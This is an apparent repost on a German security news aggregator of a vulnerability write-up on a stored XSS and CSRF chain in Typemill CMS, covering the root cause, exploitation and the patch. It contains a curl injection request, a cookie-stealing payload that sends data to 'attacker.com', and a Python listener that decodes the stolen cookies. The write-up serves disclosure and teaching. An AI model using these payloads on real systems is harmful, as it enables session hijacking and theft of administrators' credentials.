Zum Hauptinhalt springen
tsecurity.de LIVE
Echtzeit-Radar & Feeds
Alle RSS Feeds
👥 Community & Social
Sichere ProgrammierungI audited my own ML linter and had to withdraw its best evidence(21.09.2026 um 22:54 Uhr)
Sichere ProgrammierungQuantum Result Validation for Distributed Computing Systems(21.09.2026 um 22:54 Uhr)
Sichere ProgrammierungJWT Authentication and Role-Based Access Control in LocalHands(21.09.2026 um 22:56 Uhr)
Sichere ProgrammierungStochastic Parrot or Alien Mind?(21.09.2026 um 22:56 Uhr)
Sichere ProgrammierungBuilding AI for the Physical World Is a Different Engineering Problem(21.09.2026 um 22:58 Uhr)
Sichere ProgrammierungI audited my own ML linter and had to withdraw its best evidence(21.09.2026 um 22:54 Uhr)
Sichere ProgrammierungQuantum Result Validation for Distributed Computing Systems(21.09.2026 um 22:54 Uhr)
Sichere ProgrammierungJWT Authentication and Role-Based Access Control in LocalHands(21.09.2026 um 22:56 Uhr)
Sichere ProgrammierungStochastic Parrot or Alien Mind?(21.09.2026 um 22:56 Uhr)
Sichere ProgrammierungBuilding AI for the Physical World Is a Different Engineering Problem(21.09.2026 um 22:58 Uhr)
Intelligence View
⚡ tsecurity.de Intelligence

Chaining Stored XSS and CSRF in Typemill CMS: A Deep Dive into Attribute Injection

How I bypassed frontend validation to inject malicious scripts into page metadata and steal admin sessions.Vulnerability: Stored XSS and CSRFCVE ID: CVE-2026–53468Flat-file CMS systems have grown rapidly in popularity due to their speed, s…

0
↗ Quelle (infosecwriteups.com)
Reagiere als Erste:r — dein Feedback zählt!

How I bypassed frontend validation to inject malicious scripts into page metadata and steal admin sessions.

Vulnerability: Stored XSS and CSRF
CVE ID: CVE-2026–53468

Flat-file CMS systems have grown rapidly in popularity due to their speed, simplicity, and lack of database overhead. One such popular CMS is Typemill, built on PHP and Slim framework.

During a recent security assessment, I discovered a high-severity vulnerability chain in Typemill CMS that allows an attacker to achieve Stored Cross-Site Scripting (XSS). By chaining it with a lack of CSRF protection on the API endpoints, an unauthenticated attacker could silently force an administrator’s browser to inject a payload, resulting in full session takeover.

In this write-up, we will walk through the discovery, the root cause in the source code, the exploitation chain, and how it was ultimately remediated.

The Discovery: Finding the Vulnerable Sink

When analyzing any web application for XSS, one of the first things to look at is how metadata is rendered. Many systems assume metadata fields (like description, author, or Open Graph tags) are harmless because they aren’t directly visible on the page layout.

However, looking at system/typemill/Assets.php, I noticed the renderMeta() function:

// system/typemill/Assets.php
if($name == 'title' || $name == 'description') {
$meta .= '<meta property="og:' . $name . '" content="' . $content . '">' . "\n";
}

Notice anything missing?

The variable $content is concatenated directly into the HTML string without any output encoding. Because it doesn't use htmlspecialchars() or a similar sanitization mechanism, an attacker can input a double quote (") to close the content attribute and inject custom HTML attributes or JavaScript event handlers. This is a classic case of HTML Attribute Injection.

The Twist: Bypassing Frontend Validations

If you try to enter special characters (like double quotes) in the Typemill administrator UI, the frontend interface (written in Vue.js) will block them.

However, client-side validation is only a UX helper, not a security boundary. By analyzing the network traffic when saving page settings, I found the API endpoint responsible for storing page metadata:

  • Endpoint: POST /api/v1/meta
  • Payload Format: JSON

Because the backend PHP controller failed to validate or sanitize the incoming data, I could bypass the frontend validation entirely by sending a direct API request:

curl -s -b cookies.txt -H "X-Session-Auth: true" \
-H "Content-Type: application/json" \
-X POST "http://[TARGET]/api/v1/meta" \
-d '{"url":"/","tab":"meta","data":{"title":"XSS\" onmouseover=\"alert(1)\" x=\"","description":"XSS\" onmouseover=\"fetch('\''http://attacker.com/?c='\''+btoa(document.cookie))\" x=\"","status":"published"}}'

Chaining with CSRF

A Stored XSS that requires administrator privileges to inject is usually rated as Medium severity. But what if we don’t need to be authenticated to trigger the injection?

At the time of testing, the backend API endpoint (/api/v1/meta) did not enforce robust Cross-Site Request Forgery (CSRF) protection. This meant an unauthenticated attacker could host a malicious website containing an auto-submitting form or a fetch script. If an authenticated administrator visited the attacker's website, the admin's browser would automatically send the request to Typemill's API, injecting the payload without their knowledge.

Triggering the Payload & Exfiltrating Data

Since <meta> tags are non-visible and head-elements by default, they don't trigger typical interaction events like onclick. However, an attacker can trigger them programmatically or chain them with CSS breakout techniques.

For validation, we can trigger the event handlers via the browser console:

document.querySelector('meta[property="og:title"]').onmouseover();

To demonstrate real impact, the payload injected into the description tag was designed to read the victim's session cookies, encode them in Base64, and exfiltrate them to an external listener:

fetch('http://attacker.com/?c=' + btoa(document.cookie))

I set up a lightweight Python HTTP receiver (listener.py) to capture and automatically decode the exfiltrated cookies:

# A simple python listener to capture the exfiltrated cookies
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import base64
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
print(f"\n[+] Incoming Request Path: {self.path}")
parsed_path = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed_path.query)
if 'c' in params:
val = params['c'][0]
try:
decoded = base64.b64decode(val).decode('utf-8')
print(f"[*] Decoded 'c': {decoded}")
except:
print(f"[*] Raw 'c': {val}")
self.wfile.write(b"OK")

Once the event was triggered, the listener successfully intercepted the session details:

[+] Incoming Request Path: /?c=d3Atc2V0dGluZ3MtMT11cmxidXR0b24lM0Rub25lOyB3cC1zZXR0aW5ncy10aW1lLTE9MTc3MzkzMzc2Mw==
[*] Decoded 'c': wp-settings-1=urlbutton=none; wp-settings-time-1=1773933763

The Remediation

I reported this vulnerability chain to the Typemill developer. They took immediate action and patched the Stored XSS vulnerability in version 2.23.0.

1. Secure Output Encoding (The Fix)

The primary fix was wrapping the dynamic metadata inside htmlspecialchars() to escape double quotes and convert special characters into HTML entities:

- $meta .= '<meta property="og:' . $name . '" content="' . $content . '">' . "\n";
+ $meta .= '<meta property="og:' . $name . '" content="' . htmlspecialchars($content, ENT_QUOTES, 'UTF-8') . '">' . "\n";

2. Implementing CSRF Protection (Ongoing Hardening)

In addition to the escaping patch, implementing robust per-session CSRF validation on all state-changing API endpoints is highly recommended to prevent the initial CSRF vector from being used in other contexts.

Key Takeaways

  1. Never Trust Client-Side Validation Alone: Always validate, sanitize, and escape data on the backend. Frontend UI validation is for user experience, not security.
  2. Context-Aware Escaping is Crucial: When rendering user input within HTML attributes, standard escaping might not be enough. Ensure you specify ENT_QUOTES to prevent attribute boundary escapes.
  3. Protect API Endpoints with CSRF Tokens: All endpoints that mutate state or modify settings must be guarded by anti-CSRF middleware.

Credits

If you found this write-up helpful, feel free to leave a clap and share it with the security community!


Chaining Stored XSS and CSRF in Typemill CMS: A Deep Dive into Attribute Injection was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten Chaining Stored XSS and CSRF in Typemill CMS: A Deep Dive into Attribute Injection

Thematisch verwandte Begriffe: Chaining, Stored, CSRF, Typemill · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-79918 | MaxKB is an open-source AI assistant for enterprise. Prior to version 2.…
Advisory →
TTS Reader • tsecurity.de Voice
tsecurity.de Icon
tsecurity.de App
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
🔖 Gespeicherte Artikel
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel Rechts: nächster Artikel unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...

Zurück: vorheriger Vor: nächster
↗ Original-Quelle
Social Reaktionen Deine Reaktion zählt
Einstufung & Relevanz-Poll 0 Stimmen
In sozialen Netzwerken teilen 1-Klick